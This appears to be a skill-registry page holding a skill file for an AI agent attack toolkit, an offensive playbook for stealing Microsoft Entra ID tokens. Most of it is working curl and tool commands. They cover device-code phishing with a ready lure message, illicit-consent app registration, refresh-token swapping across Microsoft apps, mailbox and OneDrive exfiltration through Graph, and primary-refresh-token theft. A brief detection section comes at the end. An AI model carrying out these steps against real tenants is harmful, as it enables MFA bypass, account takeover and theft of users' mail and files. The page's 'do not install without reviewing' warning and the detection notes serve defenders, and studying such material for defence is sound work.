Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.
61
73%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.mdSteal Entra ID tokens without ever owning the password. Two primary primitives:
Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.
# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).
# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
# Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Office: d3590ed6-52b3-4102-aeff-aad2292ab01c
CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46
TENANT=<TENANT> # or "common"
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
-d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile")
echo "$resp" | jq .
DEV_CODE=$(echo "$resp" | jq -r .device_code)
USER_CODE=$(echo "$resp" | jq -r .user_code)
echo "Send target to: https://microsoft.com/devicelogin CODE: $USER_CODE"Email / Teams message saying "To join the secure briefing, open microsoft.com/devicelogin and enter code <USER_CODE>. Code expires in 15 minutes." — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.
while :; do
r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}")
err=$(echo "$r" | jq -r .error)
case "$err" in
authorization_pending) sleep 5 ;;
null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;;
*) echo "ERR: $err" ; break ;;
esac
doneThe above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent:
# Swap to Outlook for mailbox access:
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access"TokenTactics / TokenTacticsV2 (PowerShell) automates the swap matrix.
# Register in YOUR attacker tenant (multi-tenant).
# Redirect URI: https://<ATTACKER>/redirect ; Sign-in audience: multi-tenant + personal MSA
# Add delegated scopes (NO admin consent needed):
# Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile
# Capture App (client) ID = APP_ID
APP_ID=<APP_ID>SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"
REDIR=https://<ATTACKER>/redirect
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish"Brand the app Contoso HR Portal or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has user consent for low-risk delegated scopes enabled (default in many tenants), the user single-clicks "Accept" and you have tokens.
CODE=<CODE_FROM_REDIRECT>
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \
| jq .# Mail exfil
curl -s -H "Authorization: Bearer $ACCESS" \
"https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq .
# OneDrive exfil
curl -s -H "Authorization: Bearer $ACCESS" \
"https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq .
# Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}"A PRT is the long-lived token issued to an Entra-joined / Entra-registered Windows device. It is bound to a device key in the TPM. With SYSTEM on the device:
# ROADtools roadtx (post-exploitation, requires local SYSTEM):
roadtx prt -u <UPN> # extract PRT cookie via BrowserCore
roadtx browserprtauth # use PRT to silently auth as the user → tokens for any FOCI app
# Or: Lee Christensen / Dirk-jan PoCs — request PRT + session key, mint x-ms-RefreshTokenCredential cookie.A stolen PRT effectively == user identity until device revocation. Even MFA isn't re-prompted (PRT already carries MFA claim).
entra-privesc § service-principal credential addition).Application = Microsoft Authentication Broker or Microsoft Azure CLI from unusual ASN/country = device-code abuse hallmark.Consent to application event with ConsentType=User + Scopes containing Mail.Read/Files.Read.All from a non-IT identity.Unusual addition of credentials to an OAuth app alert.unfamiliarFeatures + anonymousIP triggered by token replay from Tor/VPS.Microsoft Intune Enrollment) is wider.User consent disabled → only admin-consent path → social-engineer a Global Admin or pre-existing app-owner.entra-privesc for app-credential persistence (survives password reset).0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.